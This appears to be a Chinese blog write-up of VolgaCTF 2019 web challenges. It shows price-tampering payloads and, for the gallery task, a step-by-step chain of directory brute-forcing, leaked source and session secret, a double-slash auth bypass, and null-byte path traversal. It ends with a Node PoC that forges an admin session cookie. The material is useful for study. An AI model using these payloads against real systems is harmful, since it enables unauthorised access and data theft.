VolgaCTF 2019 Quals
shop
payload:&balance=2000
shop2
payload:name=ausername&CartItems[0].id=4
gallery
先使用SourceLeakHacker这个脚本爆目录,发现无法得到正常返回结果,看了writeup,发现了dirsearch这个东西
用法:./dirsearch.py -u url
发现了一些js文件
main.js
$(document).ready(function() {
year = parseInt(location.pathname.slice(1)) || 2018;
$.getJSON(`/api/images?year=${year}`, function(data) {
$.each(data, function(key, img) {
$('<div>', {
class: 'col-lg-3 col-md-4 col-xs-6',
html: $('<a>', {
href: `/api/image?year=${year}&img=${img}`,
class: 'd-block mb-4 h-100',
html: $('<img>', {
class: 'img-fluid img-thumbnail',
src: `/api/image?year=${year}&img=${img}`,
alt: ''
})
})
}).appendTo($('#gallery'));;
});
}).fail(function() { location = '/login';});
});
index.js
const express= require('express');
const session = require('express-session');
const store = require('session-file-store')(session);
const proxy = require('http-proxy-middleware');
const parser = require('body-parser');
const fs = require('fs');
const app = express();
config = require('./config');
auth = require('./auth')();
config.session.store = new store();
app.use(parser.urlencoded({ extended: false }));
app.use(`${config.apiPrefix}/*`, session(config.session));
app.use(`${config.apiPrefix}/*`, auth.unless({path: config.whitelistPaths}));
app.post(`${config.apiPrefix}/login`, function (req, res) {
/* TODO: Implement login*/
res.redirect('/login');
});
app.get(`${config.apiPrefix}/logout`, function (req, res) {
/* TODO: Implement logout */
res.redirect('/login');
});
app.get(`${config.apiPrefix}/flag`, function (req, res) {
console.log(req.session);
if(req.session.name === 'admin')
res.end(fs.readFileSync('../../flag', 'utf8'));
else
res.status(403).send();
});
app.use(proxy(config.proxy));
app.listen(config.server.port);
config.js
const config = {
apiPrefix: '/api',
server: {
port: 4000
},
proxy: {
target: 'http://localhost:5000',
autoRewrite: true
},
session: {
name: 'SESSION',
saveUninitialized: false,
secret: ';GmU1FSlVETF/vzEaBHP',
rolling: true,
resave: false
},
whitelistPaths: [
'/api/login', '/api/logout'
]
}
module.exports = config;
auth.js
const unless = require('express-unless');
const auth = function () {
var authm = function (req, res, next) {
console.log(req.session);
if (!req.session.name) {
res.status(403).send();
} else {
next();
}
}
authm.unless = unless;
return authm;
};
module.exports = auth;
基于node.js的服务端
这里要涉及到wget相关命令,它可以下载网站目录的文件,几个常用指令
-c 断点续传
-r 递归下载,下载指定网页某一目录下(包括子目录)的所有文件
-nd 递归下载时不创建一层一层的目录,把所有的文件下载到当前目录
-np 递归下载时不搜索上层目录,如wget -c -r www.xxx.org/pub/path/ 没有加参数-np,就会同时下载path的上一级目录pub下的其它文件
-k 将绝对链接转为相对链接,下载整个站点后脱机浏览网页,最好加上这个参数
-L 递归时不进入其它主机,如wget -c -r www.xxx.org/ 如果网站内有一个这样的链接: www.yyy.org,不加参数-L,就会像大火烧山一样,会递归下载www.yyy.org网站
-p 下载网页所需的所有文件,如图片等 -A 指定要下载的文件样式列表,多个样式用逗号分隔 -i 后面跟一个文件,文件内指明要下载的URL
-P 保存到指定目录
config.js将session存储到本地服务器,似乎无法拿到,从index.js来看:
app.get(`${config.apiPrefix}/flag`, function (req, res) {
console.log(req.session);
if(req.session.name === 'admin')
res.end(fs.readFileSync('../../flag', 'utf8'));
else
res.status(403).send();
});
session要认证为admin,但似乎无法伪造,于是将目标转到接口,但api/login
和api/logout
都没什么可利用的,参考了writeup,提到了一种请求方式:options request,有如下解释:
HTTP 的 OPTIONS 方法 用于获取目的资源所支持的通信选项。客户端可以对特定的 URL 使用 OPTIONS 方法,也可以对整站(通过将 URL 设置为“*”)使用该方法。
语法:
OPTIONS /index.html HTTP/1.1
OPTIONS * HTTP/1.1在 CORS 中,可以使用 OPTIONS 方法发起一个预检请求,以检测实际请求是否可以被服务器所接受。预检请求报文中的 Access-Control-Request-Method 首部字段告知服务器实际请求所使用的 HTTP 方法;Access-Control-Request-Headers 首部字段告知服务器实际请求所携带的自定义首部字段。服务器基于从预检请求获得的信息来判断,是否接受接下来的实际请求。
发送如下请求:
OPTIONS /api/logout HTTP/1.1
Host: gallery.q.2019.volgactf.ru
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
回显了报错信息:
laravel框架,访问/api/image
出现403,考虑bypass),这里因为没有对路径访问做过滤,所以可以直接//
或者多个/
的方式进行绕过,于是GET //api/images HTTP/1.1
,成功回显了一个空数组,因为没有传参
当GET //api/images/?year=2019 HTTP/1.1
,再次报错
- 既然/2019/img,也就是说可以控制路径访问任意,验证猜想:
GET //api/images?year=2018%00 HTTP/1.1
,response返回["img"]
- 继续
GET //api/images?year=2018/../../../../../../../var/www%00
,response返回["html","flag","apps"]
尝试直接读取
GET //api/image?year=2018/../../../../../../../var/www/%00&img=../flag HTTP/1.1
,然而报错:所以转而尝试读取
GET //api/images?year=2018/../../../../../../../var/www/html%00 HTTP/1.1
,response为["index.html"]
,无用
- 访问
GET //api/images?year=2018/../../../../../../../var/www/apps%00 HTTP/1.1
,response为["volga_gallery","volga_adminpanel","volga_auth"]
- 继续
GET //api/images?year=2018/../../../../../../../var/www/apps/volga_adminpanel%00 HTTP/1.1
,response为["sessions","app.js"]
,这里可以猜想,获取到sessions中的值就可以伪造为admin
- 于是继续访问
GET //api/images?year=2018/../../../../../../../var/www/apps/volga_adminpanel/sessions%00 HTTP/1.1
,response为["euzb7bMKx-5F29b2xNobGTDoWXmVFlEM.json"]
关键的一点,如何构造session,我们有了secret,那么可以尝试自己在本地构造
先安装npm install express-session
poc:
var cookie = require('cookie-signature');
var val = cookie.sign(unescape('../../volga_adminpanel/sessions/euzb7bMKx-5F29b2xNobGTDoWXmVFlEM'), ';GmU1FSlVETF/vzEaBHP');
console.log('Cookie: SESSION=s:'+val);
得到session:Cookie: SESSION=s:../../volga_adminpanel/sessions/euzb7bMKx-5F29b2xNobGTDoWXmVFlEM.KrY7Bi6sZtBB/J4sPnVj5QkDEuBu/0QelFQQqAV6yh4
reference:
https://github.com/BlackFan/ctfs/tree/master/volgactf_2019_quals
Author: damn1t
Link: http://microvorld.com/2019/04/03/CTF/VolgaCTF 2019(web)/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.